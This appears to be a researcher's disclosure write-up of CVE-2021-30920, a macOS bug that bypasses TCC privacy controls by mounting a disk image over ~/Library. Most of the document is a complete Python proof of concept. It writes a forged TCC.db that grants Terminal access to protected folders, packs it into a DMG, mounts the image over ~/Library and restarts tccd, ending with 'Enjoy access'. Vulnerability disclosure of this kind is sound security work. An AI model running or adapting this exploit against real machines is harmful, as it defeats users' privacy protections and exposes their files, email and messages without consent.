CVE-2021-30920 - CVE-2021-1784 strikes back - TCC bypass via mounting
Intro
CVE-2021-1784 was a vulnerability that allowed an attacker to bypass TCC by mounting over the ~/Library/Application Support/com.apple.TCC
directory and providing a new TCC database. We covered this with Wojciech Regula in or 20+ ways to bypass your mac os privacy mechanisms BlackHat USA talk. This was properly fixed in Big Sur.
The Vulnerability
I don’t know why but I started to experiment with it again in the very first version of Monterey beta, and found that although the exploit doesn’t work, we can mount over the ~/Library
directory. Interestingly this wasn’t possible in Big Sur, thus this bug is a regression.
A malicious app can completely bypass user level TCC restrictions. As user level TCC permissions allow scripting of Finder.app
, and as Finder.app
has full disk access, this also means that someone can gain full disk access rights as a normal user.
The vulnerability exists because someone can mount a DMG file over the ~/Library
directory. Execution of the following command will be successful:
hdiutil attach -owners off -mountpoint Library test.dmg
We can create a DMG file which holds a custom TCC.db
file. Once we mount the file, and restart the user level tccd
daemon, our new, custom db will come into effect, with our custom rights. This allows us granting ourselves any right we would like.
POC
I made a small python script that will execute all of these. It contains a custom TCC.db file creator script that will grant Terminal access to most of the items, along with automation rights for Finder.
- It will create a new TCC.db under
/tmp/TCC.db
- Next it creates a DMG file at
/tmp/tmp.dmg
and copies theTCC.db
file over - Lastly it will mount the DMG file and restart
tccd
import os
tcc_dump = """
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE admin (key TEXT PRIMARY KEY NOT NULL, value INTEGER NOT NULL);
INSERT INTO admin VALUES('version',20);
CREATE TABLE policies ( id INTEGER NOT NULL PRIMARY KEY, bundle_id TEXT NOT NULL, uuid TEXT NOT NULL, display TEXT NOT NULL, UNIQUE (bundle_id, uuid));
CREATE TABLE active_policy ( client TEXT NOT NULL, client_type INTEGER NOT NULL, policy_id INTEGER NOT NULL, PRIMARY KEY (client, client_type), FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE);
CREATE TABLE access ( service TEXT NOT NULL, client TEXT NOT NULL, client_type INTEGER NOT NULL, auth_value INTEGER NOT NULL, auth_reason INTEGER NOT NULL, auth_version INTEGER NOT NULL, csreq BLOB, policy_id INTEGER, indirect_object_identifier_type INTEGER, indirect_object_identifier TEXT NOT NULL DEFAULT 'UNUSED', indirect_object_code_identity BLOB, flags INTEGER, last_modified INTEGER NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)), PRIMARY KEY (service, client, client_type, indirect_object_identifier), FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.willowd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184393);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.shortcuts',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184393);
INSERT INTO access VALUES('kTCCServiceUbiquity','com.apple.shortcuts',0,2,5,1,NULL,NULL,NULL,'UNUSED',NULL,0,1623184394);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.remindd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184395);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.textinput.KeyboardServices',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184395);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.appleaccountd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184395);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.Safari',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.syncdefaultsd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.suggestd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.siriknowledged',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.securityd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.protectedcloudstorage.protectedcloudkeysyncing',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.knowledge-agent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184396);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.imagent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.identityservicesd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.icloud.fmfd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.donotdisturbd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.cloudpaird',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.assistant.assistantd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.StatusKitAgent',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184397);
INSERT INTO access VALUES('kTCCServiceUbiquity','/System/Library/PrivateFrameworks/PhotoLibraryServices.framework/Versions/A/Support/photolibraryd',1,2,5,1,NULL,NULL,NULL,'UNUSED',NULL,0,1623184413);
INSERT INTO access VALUES('kTCCServiceLiverpool','com.apple.amsengagementd',0,2,4,1,NULL,NULL,0,'UNUSED',NULL,0,1623184458);
INSERT INTO access VALUES('kTCCServiceSystemPolicyDownloadsFolder','com.apple.Terminal',0,2,2,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,0,1623239871);
INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder','com.apple.Terminal',0,2,2,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,0,1623239880);
INSERT INTO access VALUES('kTCCServiceSystemPolicyDesktopFolder','com.apple.Terminal',0,2,2,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,0,1623239885);
CREATE TABLE access_overrides ( service TEXT NOT NULL PRIMARY KEY);
CREATE TABLE expired ( service TEXT NOT NULL, client TEXT NOT NULL, client_type INTEGER NOT NULL, csreq BLOB, last_modified INTEGER NOT NULL , expired_at INTEGER NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)), PRIMARY KEY (service, client, client_type));
CREATE INDEX active_policy_id ON active_policy(policy_id);
COMMIT;
"""
def create_tcc_db():
f = open('/tmp/tccdump.sql','w')
f.write(tcc_dump)
f.close()
os.system("sqlite3 /tmp/TCC.db < /tmp/tccdump.sql")
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
def mount_trick():
os.system("hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg 1>/dev/null")
def restart_tcc():
os.system("launchctl stop com.apple.tccd && launchctl start com.apple.tccd")
def main():
print("[i] Creating new TCC database")
create_tcc_db()
print("[i] Creating and prepare DMG file")
create_dmg()
print("[i] Mount DMG over Library")
mount_trick()
print("[i] Restart TCC")
restart_tcc()
print("[i] Enjoy access :-)")
main()
Other Notes
Beyond modifying the TCC database, all new emails, messages, etc… will be written to our disk we mounted. Beyond that this also allows someone to drop custom shortcuts on the system, which otherwise would be impossible due to TCC protection.